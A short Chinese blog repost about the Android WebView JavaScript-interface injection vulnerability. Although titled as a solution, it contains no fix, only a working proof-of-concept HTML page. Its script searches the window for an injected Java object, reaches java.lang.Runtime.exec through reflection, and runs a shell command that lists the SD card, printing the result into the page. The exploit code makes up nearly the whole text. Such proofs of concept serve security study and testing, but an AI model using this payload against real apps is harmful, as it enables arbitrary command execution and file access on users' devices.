您的位置:首页 > 移动开发 > Android开发

Android WebView的Js对象注入漏洞解决方案

2016-05-19 13:22 537 查看
http://blog.csdn.net/leehong2005/article/details/11808557/

webview调用以下文件,就可以打印sdcard 文件名

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title> new document </title>
<script >
var i=0;
function getContents(inputStream)  {
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}

function execute(cmdArgs){
for (var obj in window) {
console.log(obj);
if(window[obj]!=null)
if ("getClass" in window[obj]) {
console.log("come to here");
//alert(obj);.
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
console.log("come to here  2");

document.write(getContents(p.getInputStream()));
</script>
<meta name="generator" content="editplus" />
<meta name="author" content="" />
<meta name="keywords" content="" />
<meta name="description" content="" />
</head>

<body>

</body>
</html>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: